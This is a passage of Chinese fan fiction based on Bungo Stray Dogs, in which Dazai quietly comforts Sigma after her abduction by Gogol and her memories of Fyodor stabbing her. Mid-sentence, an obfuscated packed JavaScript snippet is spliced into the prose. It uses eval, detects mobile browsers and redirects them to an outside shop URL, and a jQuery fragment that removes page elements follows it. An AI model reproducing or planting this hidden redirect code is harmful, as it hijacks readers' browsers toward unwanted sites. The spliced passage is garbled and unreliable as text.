而他能做的,或许只是在它偶尔掠过自己这片荒芜领空时,记住那一抹转瞬即逝的影子。 然后将那份悸动,酿成独属于自己的、苦涩的回忆。 海风呼啸,带着咸涩的水汽,吹干了他眼角或许存在过的一丝湿意。 果戈里转过身,黑白斗篷融入渐浓的暮色,如同一个终于谢幕的演员,悄无声息地离开了这片只属于告别的海岸。 再见了,我亲爱的你。 —————— 西格玛静静地跪坐在那片荒芜的水泥地上,像一尊被遗忘的石膏像。 夕阳的最后一道金边沉入远方的海平线,天空从绚烂的金红逐渐过渡到静谧的靛蓝,再晕染开一层层深紫与墨灰的薄纱。 暮色四合,风也带上了夜晚初临的凉意,吹动她散乱的长发和单薄的衣衫。 脸上的泪早已被风吹干,留下一道道浅白色的泪痕,紧绷在皮肤上。 可她似乎感觉不到,只是愣愣地望着眼前虚空中的某一点,眼神空茫,仿佛灵魂还滞留在某个无法回归的维度。 脚步声,由远及近,踏在碎石和荒草上,发出沙沙的轻响。 那步伐不急不缓,却带着一种精准的指向性,最终停在了她的身侧。 西格玛没有抬头,直到那抹熟悉的沙色衣角映入她低垂的、失焦的视野。 她缓缓地、极其缓慢地抬起眼,顺着那风衣的下摆向上看去,对上太宰治低垂的目光。 暮色中,他鸢色的眼睛里没有了往日的轻佻与漫不经心,取而代之的是一种深沉的、几乎要将人吸进去的宁静。 他没有说话,只是静静地看着她,看着她苍白脸上干涸的泪痕,看着她空洞无神的眼睛,看着她微微颤抖的肩膀和沾满尘土的衣裙。 “……痛苦有次数吗?” 西格玛开口,声音沙哑得如同沙砾摩擦,轻得几乎被风吹散。 她没有问“你怎么找到我的”,也没有诉说刚才的惊惧与绝望,而是提出了一个孩子般天真、却又沉重得令人心碎的问题。 “是不是……”她眨了眨眼,长长的睫毛上似乎还凝结着未落的湿意,“是不是痛苦完了,我就会幸福了?” 她的眼神里有一种近乎执拗的、寻求确认的微光,仿佛抓住了最后一根虚无的稻草。 是不是像游戏通关一样,承受够了一定的伤害值,就能抵达奖励的终点? 是不是像偿还债务,还清了所有的“痛苦”,就能兑换等额的“幸福”? 太宰治依然没有说话。 他缓缓地、几乎是小心翼翼地在西格玛面前蹲下身,让自己的视线与她平行。 然后,他伸出手,动作轻柔地解开自己身上那件沙色风衣,将它从肩上褪下。 带着他体温的、还残留着淡淡洗衣剂混合气息的风衣,像一片温暖的云,轻轻地、完整地笼罩在了西格玛单薄颤抖的肩膀上。 衣摆很长,几乎将她整个人裹住,隔绝了暮色渐浓的寒意。 做完这一切,他才迎上她依旧茫然寻求答案的目光,很轻,却很清晰地回应了一个字: “嗯。” 在这一刻,太宰治想要一个人幸福的心达到了巅峰。 西格玛怔怔地看着他,看着那件裹住自己的风衣,又看看他近在咫尺的、异常平静却仿佛蕴含了无数未言之语的眼睛。 她没有再问,只是下意识地,用手指攥紧了风衣的边缘,将那带着余温的布料紧紧抓在手里。 后来的记忆是模糊的、断裂的。 怎么离开那片废弃码头,怎么穿过渐暗的街道,怎么回到那栋熟悉的公寓楼…… 西格玛完全没有印象。 意识的碎片如同沉入深海的玻璃,偶尔折射出零星的光。 似乎有人一直稳稳地扶着她,力道适中,不容拒绝却又异常小心。 似乎有钥匙插入锁孔的轻响,似乎有门关上的声音,隔绝了外面世界的最后一丝喧嚣。 当她再次找回清晰感知时,发现自己已经躺在了一张柔软宽阔的床上。 身下是干净的深色床单,身上盖着蓬松温暖的羽绒被,而她的脸颊,正陷在另一个柔软微凉的枕头里。 空气里有熟悉的、属于太宰治房间的淡淡气息。 这里是……他的卧室。 西格玛没有动,只是侧躺着,将自己更深地蜷缩起来,像一只受伤后寻求狭小安全空间的小猫。 被子下的手,无意识地摸索着,隔着柔软的布料,触碰到自己左腰侧的位置。 那里,曾经有一道狰狞的、几乎致命的伤口,是费奥多尔亲手用匕首留下的。 如今伤口早已愈合,一丝痕迹都没有留下,却仿佛印在了她的心里。 指尖抚过那道伤口的位置,冰凉的触感却仿佛引燃了记忆深处灼烧的火焰。 她想起匕首刺入皮肉时那冰冷的、锐利的剧痛。 想起血液涌出时温热的黏腻感。 更想起,在那一切发生之前,费奥多尔在她面前,用那种一如既往的、平稳而深沉的语调,轻轻吐出的那句话: “我爱你。” 恨意、恐惧、麻木……这些情绪在漫长的压抑后,最终翻滚沉淀,化作一种铺天盖地的、几乎要将她淹没的委屈。 尖锐的,酸楚的,带着孩童般无措的委屈。 为什么? 为什么要这么对我? 为什么要一边说着“爱”,一边将利刃送入我的身体? 为什么要给予我天空赌场,又将我视为可以随意摆布、伤害、丢弃的棋子? 为什么在我以为终于可以喘息时,又用你的“存活”再次将我拖入噩梦? 难道我所遭受的一切痛苦,那些孤独、恐惧、被操控、被伤害、被逼至绝境的绝望……都能被冠以“爱”的名义吗? 难道施加在我身上的所有伤害,那些冰冷的算计、残忍的利用、致命的背叛……都能如此堂而皇之地盖上“爱”的印章吗? 我不明白…… 我真的不明白啊…… 为什么……偏偏要这么对我? 无声的诘问在胸腔里冲撞,带来撕裂般的痛楚。 泪水再次毫无征兆地涌出,起初是安静的滑落,浸湿了枕头,然后压抑的哽咽从喉咙深处溢出,肩膀无法控制地颤抖起来。 她没有发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193646|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出太大的声音,但那细碎的、极力克制的哭泣,在寂静的房间里,反而显得更加破碎无助。 就在这时,床垫的另一侧微微下沉。 太宰治不知何时悄无声息地走了进来,在她身后侧躺下。 他没有试图拥抱她,没有说任何安慰的话,甚至没有询问。 他只是安静地躺在那里,与她保持着一段不至于让她感到压迫、却又明确存在的距离。 他的存在本身,就像一块沉入湍急河流的巨石,没有试图阻断水流,却奇异地提供了一处可以暂时倚靠、喘息的地方。 西格玛的哭泣并没有停止,但在意识到他就在身后时,那压抑的哽咽中,逐渐夹杂了一些破碎的、语无伦次的词句。 “……他说……爱我……”她的声音哽咽着,断断续续,“用匕首…刺我之前…说的……好痛……那里好痛……心里也好痛……” “为什么……要那样说……为什么做了那些事……还能说‘爱’……” “我不懂……爱……不应该是那样的……对吗?” “好难过……真的好难过……像要死掉了一样……” 她的话语混乱,逻辑不清,只是将积压在心底最深处的、从未对人言说的恐惧、困惑和委屈,一点点倾倒出来。 不是完整的叙述,只是情绪驱动的碎片。 太宰治始终沉默着。他没有插话,没有分析,没有试图用任何道理去“纠正”或“安抚”。 他只是静静地听着,呼吸平稳而悠长,目光落在她微微颤抖的背影上,眼神深邃如同窗外渐浓的夜色。 有时候,最深的理解与安抚,并非来自睿智的开解或温柔的保证,而是来自一种全然的、不带评判的“在场”。 知道有一个人在听,在承受你所有的混乱与不堪,并且不会因此而离开或否定你。 西格玛断断续续地说了很久,直到声音渐渐低下去,只剩下疲惫的抽泣。 眼泪似乎流干了,只剩下一种深沉的、耗尽一切后的虚脱感。 太宰治这才极其轻微地动了一下,伸出手,不是去拥抱,而是轻轻地、用指腹抹去她眼角残留的一点湿意。 他的动作很轻,带着一种近乎笨拙的温柔。 “睡吧。”他终于开口,声音低沉,在寂静的房间里显得格外清晰,也格外具有安抚的力量,“我在这里。” 没有承诺明天会更好,没有保证痛苦会结束,只是提供了一个可以暂时停泊的夜晚,和一个不会离开的守护。 西格玛浓密的睫毛颤动了几下,最终缓缓合上。 紧绷的肩线一点点松懈下来,蜷缩的身体也微微舒展。抓着被角的手指,不知何时松开了。 窗外,横滨的灯火渐次亮起,星河无声蔓延。 房间里,只剩下两个人平稳的呼吸声,交织在寂静的黑暗中,如同海浪轻抚沙滩,带来一种脆弱却真实的安宁。 长夜漫漫,但至少此刻,她不必独自一人面对那些啃噬人心的噩梦与诘问。 这份无声的陪伴,或许比任何言语,都更接近她所询问的、关于“痛苦之后”的渺小答案。 —————— 晨光透过未完全拉拢的窗帘缝隙,切割出几道淡金色的光柱,斜斜地落在深色的木地板上。 空气中漂浮着细微的尘埃,在光柱中缓缓起舞。 西格玛在一种异常沉重的疲惫感中醒来,仿佛身体被灌满了铅,连抬起眼皮都需要耗费极大的力气。 昨夜混乱破碎的记忆潮水般涌回脑海。 废弃码头的绝望、果戈里扭曲的亲吻与宣告、对准自己的枪口、被剥夺的死亡权利、那句令人茫然的“你自由了”。 以及……裹住自己的沙色风衣,和那个漫长夜晚里,身后沉默却坚实的陪伴。 她眨了眨眼,适应着室内的光线,发现自己仍然躺在太宰治的床上,身上盖着柔软的被子,而原本枕着的、属于他的那只枕头,此刻却空空地放在一旁。 房间里只有西格玛一个人,寂静得能听到自己略显急促的心跳和远处街道隐约传来的车流声。 她慢慢坐起身,自己还穿着昨天的衣服。 床边整齐地摆放着她自己的衣物,从内衣到外裙,都已经被洗净熨烫好,折叠得一丝不苟。 旁边还有一双干净的室内拖鞋。 西格玛沉默地换好衣服,动作有些迟缓。 布料摩擦过皮肤,带来熟悉的触感,却无法驱散心底那份沉甸甸的、无处安放的空洞。 她推开卧室的门,走了出去。 公寓里很安静,只有厨房方向传来轻微的、规律的声响,是锅铲与平底锅接触的清脆声音,还有食物在热油中发出的细微滋滋声。 空气中弥漫着煎蛋和烤吐司的香气,混合着淡淡的咖啡醇香,是平常早晨的味道,却又因为昨夜的惊涛骇浪,显得格外不真实,格外……珍贵。 她走到厨房门口,停下脚步。 太宰治背对着她,正站在灶台前,挽到手肘,露出线条清晰的小臂。 他一手拿着锅柄,另一只手握着铲子,正专注地将平底锅里的煎蛋盛到旁边的盘子里。 动作熟练而稳定,晨光从他侧面的窗户照进来,给他整个人镀上了一层柔和的毛边。 料理台上已经摆好了两副餐具,烤好的吐司放在篮子里,咖啡壶里飘出袅袅白汽。 一切都井然有序,平静得仿佛昨天什么可怕的事情都没有发生过,仿佛这只是他们同居生活中又一个再普通不过的清晨。 太宰治似乎察觉到了她的存在,没有回头,只是很自然地说:“醒了?早餐马上好,先去坐着吧。” 语气平淡如常,甚至带着一点清晨特有的慵懒,完全没有追问,没有探究,没有流露出任何异样的情绪。 西格玛在原地站了几秒,才默默地走到餐桌旁坐下。 她双手放在并拢的膝盖上,背脊挺得笔直,像个等待老师提问的小学生,又像一株在风暴后努力维持姿态的植物。 太宰治将煎蛋和培根分装到两个盘子里,端了过来,又倒了两杯咖啡,将其中一杯放在她面前,然后在她对面坐下。 “我开动了。”他拿起刀叉,很自然地开始了早餐。 西格玛看着他平静进食的样子,又低头看了看自己面前冒着热气的食物。 煎蛋的边缘微焦,是她喜欢的程度,培根煎得恰到好处,吐司烤得金黄松软。一切都是按照她平时的喜好准备的。 这种极致的“如常”,反而让她心中那根紧绷的弦,发出细微的、几乎要断裂的颤音。 她拿起叉子,戳了戳盘子里的煎蛋,却没有送入口中。 沉默在两人之间蔓延,只有餐具偶尔碰撞的轻响。 “昨天……”她终于开口,声音比预想的还要干涩,“我被果戈里带走了。” 太宰治咀嚼的动作微微一顿,抬起眼看向她,眼神平静,示意她在听。 西格玛深吸一口气,似乎需要鼓起很大的勇气,才能继续叙述那段不堪回首的经历。 她没有详细描述果戈里疯狂的拥抱和亲吻,只是简略地提到了他的出现,他那句关于“奖励”的宣告,以及……最后那句让她至今无法理解的话。 “……他说,”西格玛的声音很轻,目光落在咖啡杯袅袅升起的热气上,仿佛透过它看到了当时的情景,“他说……‘你自由了’。” 她复述这句话时,语气里充满了困惑、茫然,还有一丝不易察觉的、连自己都不愿承认的刺痛。 自由? 在经历了那样的强迫、刺激、目睹她濒临崩溃甚至试图自杀之后,他凭什么对她说“自由”?又是什么样的“自由”? 太宰治安静地听着,手中的刀叉已经放下。 他没有表现出惊讶,没有追问细节,甚至连眼神都没有太大的波动。 只是在听到最后那句“你自由了”时,他鸢色的眼瞳深处,似乎有某种极细微的光芒闪动了一下,像是水面下掠过的鱼影,快得让人捕捉不到。 他明白了。 并非明白了事情的全部经过,而是明白了果戈里最后那个举动的核心。 那个以疯狂和戏剧性为底色的小丑,那个执着于“自由”概念到偏执的男人,在将西格玛逼至绝境、亲眼看到她宁可选择自我毁灭也不愿再受摆布之后……选择了放手。 不是出于怜悯,不是出于妥协,而是以一种近乎残酷的、属于他自己的逻辑,承认了她的“自由”。 那是一种扭曲的、极致的,甚至可能连果戈里自己都未必完全厘清的—— 爱。 太宰治垂下眼帘,长长的睫毛在眼下投出浅浅的阴影。 他没有对此发表任何评论,没有剖析果戈里的心理,也没有试图安慰西格玛说“那只是他的疯话”。 他只是拿起咖啡杯,喝了一口,然后重新抬眼,看向对面依旧被困惑和残留痛苦笼罩的西格玛。 他的目光很平和,甚至带着一种罕见的、近乎通透的澄澈。 “西格玛,”他开口,声音平稳而清晰,打破了餐桌上的寂静,“你一直都是自由的。” 这句话说得如此自然,如此笃定,仿佛在陈述一个像“天空是蓝的”一样简单的事实。 西格玛愣住了。 她抬起头,紫灰色的眼眸直直地望向太宰治,里面写满了不解。 一直?自由? 在她被创造、被利用、被伤害、被追逐、几乎连选择死亡的权利都被剥夺的人生里? 在她甚至不明白“自由”究竟意味着什么、是否真的存在的迷茫中? 太宰治没有解释,也没有试图去定义“自由”这个宏大而复杂的词汇。 他只是静静地看着她,目光仿佛穿透了她此刻的困惑和过去的枷锁,落在了某种更本质的东西上。 他的眼神里没有同情,没有说教,只有一种安静的确认。 确认她作为一个独立个体存在的事实,确认她拥有感受、思考、痛苦、甚至选择的权利,确认她并非任何人的所有物或附属品。 无论那是名为“棋子”、“造物”、“战利品”,还是扭曲的“爱”。 这份确认,无声无息,却比任何激昂的宣言都更有力量。 西格玛怔怔地看着他,心中的惊涛骇浪似乎在这平静的注视下,奇异地缓和了一些。 困惑依旧存在,痛苦并未消失。 但“你一直都是自由的”这句话,像一颗小小的、坚硬的种子,被轻轻投入了她混乱的心湖。 沉入水底,暂时无法发芽,却也未被淤泥完全淹没。 她眨了眨眼,长长的睫毛颤动了几下,最终,什么也没说。 她重新低下头,拿起刀叉,开始安静地吃起面前已经有些凉了的早餐。 动作有些机械,咀嚼得也很慢,但至少,她在进食。 太宰治也不再说话,重新拿起自己的餐具,继续用餐。 阳光完全照进了餐厅,将两人的身影投在光洁的桌面上。 公寓里只剩下细微的咀嚼声和餐具偶尔的轻响,以及窗外隐约传来的、属于横滨这座城市的、充满生机的喧嚣。 这是一个平静得近乎异常的清晨。 但在这平静之下,某些东西已经悄然改变。 一句来自敌人的、令人费解的“宣告”,和一句来自身边人的、平静笃定的“确认”,在西格玛荒芜的内心世界里,投下了两道截然不同、却都值得深思的影子。 自由究竟是什么? 她不知道。 但至少在这个早晨,在这个有着煎蛋香气和阳光的餐桌旁,她可以暂时不去寻找答案。 只是安静地吃完这顿早餐,然后,尝试着去面对新的一天。 而太宰治,在喝完最后一口咖啡时,目光掠过西格玛沉静侧脸,心中那片因昨夜而翻腾的晦暗情绪,似乎也在这日常的晨光中,沉淀下些许。 他什么也没说,只是将空了的杯子轻轻放回碟中,发出一声清脆的轻响。 如同一个平淡的句点,暂时画在了昨夜的惊心动魄之后。